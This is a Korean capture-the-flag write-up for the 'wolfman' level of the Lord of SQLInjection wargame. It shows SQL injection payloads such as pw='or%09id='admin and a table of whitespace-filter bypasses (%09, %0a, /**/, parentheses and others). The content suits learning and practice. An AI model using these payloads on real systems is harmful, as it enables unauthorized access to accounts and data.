728x90
이번 포스트에서는 Lord of SQLInjection의 wolfman문제에 대해 다루도록 하겠다.
문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.
## 문제 해석 :
해당 문제는 preg_match() 함수를 통해 prob, _, ., (, )와 스페이스바를 필터링 한 것을 알 수 있다.
또한 id값이 admin이 되어야 문제를 해결할 수 있는 것으로 보인다.
## 문제 풀이 :
먼저 쿼리문을 참으로 만들어보겠다.
### 사용할 공격문 : pw='or'1
### 실행 결과
"Hello guest"가 출력된 것을 확인할 수 있다.
이어서 해당 쿼리문을 거짓으로 만든 다음에 id값이 admin이 되도록 만들어보겠다.
### 사용할 공격문 : pw='or id='admin
### 실행 결과 :
예상했던 대로 스페이스바가 필터링이 된 것을 확인할 수 있다.
만약 스페이스바 하나가 필터링되면 스페이스바 두개를 입력하면 된다.
여기서 우리는 "Tab"을 사용하여 공격을 실행해보겠다.
참고로 Tab의 URL 인코딩 문자가 %09이다.
### 사용할 공격문 : pw='or%09id='admin
### 실행 결과 :
## 추가 해석 :
SQL Injection에서 자주 사용될 공백 문자 우회는 다음과 같다.
공백 문자 | 우회법 |
\n (개행, 다음 줄) | - %0a |
\t (Tab) | - %09 |
\r (개행, 줄의 맨 앞) | - %0d |
주석 활용 | - /**/ ex) pw=1/**/or/**/id=admin |
괄호 활용 | - () ex) pw=(1)or(id=admin) |
더하기 활용 | - + ex) pw=1+or+id=admin |
공백 대신 사용 | - %0b - %0c - %a0 |
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
Lord of SQLInjection (7. orge) (0) | 2022.05.20 |
---|---|
Lord of SQLInjection (6. darkelf) (0) | 2022.05.19 |
Lord of SQLInjection (4. orc) (0) | 2022.05.17 |
Lord of SQLInjection (3. goblin) (0) | 2022.05.16 |
Lord of SQLInjection (2. cobolt) (0) | 2022.05.15 |